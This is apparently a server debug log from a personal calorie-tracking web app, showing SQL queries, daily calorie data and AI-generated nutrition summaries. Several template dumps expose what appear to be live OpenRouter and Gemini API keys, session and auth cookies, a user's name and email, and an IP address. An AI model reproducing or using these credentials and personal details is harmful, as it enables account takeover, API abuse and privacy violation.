  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T05:07:42.463Z server-connect:output restrict: undefined
2025-12-18T05:07:42.463Z server-connect:app Executing action step single
2025-12-18T05:07:42.463Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T05:07:42.465Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T05:07:44.935Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T05:07:44.936Z server-connect:app Executing action step identify
2025-12-18T05:07:44.936Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:44.936Z server-connect:output identity: 1
2025-12-18T05:07:44.936Z server-connect:app Executing action step restrict
2025-12-18T05:07:44.936Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:07:44.936Z server-connect:output restrict: undefined
2025-12-18T05:07:44.936Z server-connect:router Render template calorie-tracker
2025-12-18T05:07:44.937Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T05:07:45.142Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T05:07:45.143Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:07:45.143Z server-connect:app Executing action step identify
2025-12-18T05:07:45.143Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:45.144Z server-connect:output identity: 1
2025-12-18T05:07:45.144Z server-connect:app Executing action step restrict
2025-12-18T05:07:45.144Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:07:45.144Z server-connect:app Executing action step identify
2025-12-18T05:07:45.144Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:45.144Z server-connect:output identity: 1
2025-12-18T05:07:45.144Z server-connect:app Executing action step restrict
2025-12-18T05:07:45.144Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:45.144Z server-connect:output restrict: undefined
2025-12-18T05:07:45.144Z server-connect:app Executing action step single
2025-12-18T05:07:45.144Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:07:45.145Z server-connect:output restrict: undefined
2025-12-18T05:07:45.145Z server-connect:app Executing action step single
2025-12-18T05:07:45.145Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T05:07:45.147Z server-connect:output summary: {
  summary: {
    rating: 3,
    summary: "The day's nutrition appears to be quite limited, with only one recorded food item. This single item does not provide a balanced profile of macronutrients and is unlikely to support muscle development or recovery adequately. Consistent training is a positive, but the nutritional intake needs significant improvement to align with your goals.",
    bad_points: [
      'Very limited food intake recorded for the day.',
      'Lack of variety in consumed food.',
      'Protein intake is likely insufficient for muscle development and recovery.',
      'No information on meal timing or hydration.'
    ],
    good_points: [ 'Consistent gym attendance is noted.' ],
    suggestions: [
      'Incorporate more diverse food sources throughout the day.',
      'Prioritize protein-rich foods at each meal.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding a post-workout meal or snack to aid recovery.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with some fluctuations.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:07:45.148Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T05:07:45.148Z server-connect:app Executing action step select
2025-12-18T05:07:45.148Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T05:07:45.150Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  }
]
2025-12-18T05:07:45.150Z server-connect:app Executing action step setvalue
2025-12-18T05:07:45.150Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T05:07:45.150Z server-connect:output var_total: 285
2025-12-18T05:07:45.150Z server-connect:app Executing action step setvalue
2025-12-18T05:07:45.151Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T05:07:45.151Z server-connect:output var_consumed: 12
2025-12-18T05:07:45.151Z server-connect:app Executing action step setvalue
2025-12-18T05:07:45.151Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T05:07:45.151Z server-connect:output var_deficit: 2115
2025-12-18T05:07:45.151Z server-connect:app Executing action step custom
2025-12-18T05:07:45.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T05:07:45.152Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '285',
    surplus_or_deficit: '2115',
    status_flag: 2
  }
]
2025-12-18T05:07:45.721Z server-connect:app Executing action step identify
2025-12-18T05:07:45.721Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:45.721Z server-connect:output identity: 1
2025-12-18T05:07:58.395Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T05:07:58.395Z server-connect:app Executing action step identify
2025-12-18T05:07:58.395Z server-connect:app options: { provider: 'security' }
2025-12-18T05:07:58.396Z server-connect:output identity: 1
2025-12-18T05:07:58.396Z server-connect:app Executing action step restrict
2025-12-18T05:07:58.396Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:07:58.396Z server-connect:output restrict: undefined
2025-12-18T05:07:58.396Z server-connect:app Executing action step processWithGemini
2025-12-18T05:07:58.396Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T05:09:07.481Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T05:09:07.481Z server-connect:app Executing action step identify
2025-12-18T05:09:07.482Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:07.482Z server-connect:output identity: 1
2025-12-18T05:09:07.482Z server-connect:app Executing action step restrict
2025-12-18T05:09:07.482Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:09:07.484Z server-connect:output restrict: undefined
2025-12-18T05:09:07.484Z server-connect:router Render template layouts/main
2025-12-18T05:09:07.484Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    accept: '*/*',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'empty',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: '*/*',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T05:09:14.111Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T05:09:14.112Z server-connect:app Executing action step identify
2025-12-18T05:09:14.112Z server-connect:app options: { provider: 'security' }
2025-12-18T05:09:14.112Z server-connect:output identity: 1
2025-12-18T05:09:14.112Z server-connect:app Executing action step restrict
2025-12-18T05:09:14.112Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T05:09:14.113Z server-connect:output restrict: undefined
2025-12-18T05:09:14.113Z server-connect:router Render template layouts/main
2025-12-18T05:09:14.113Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
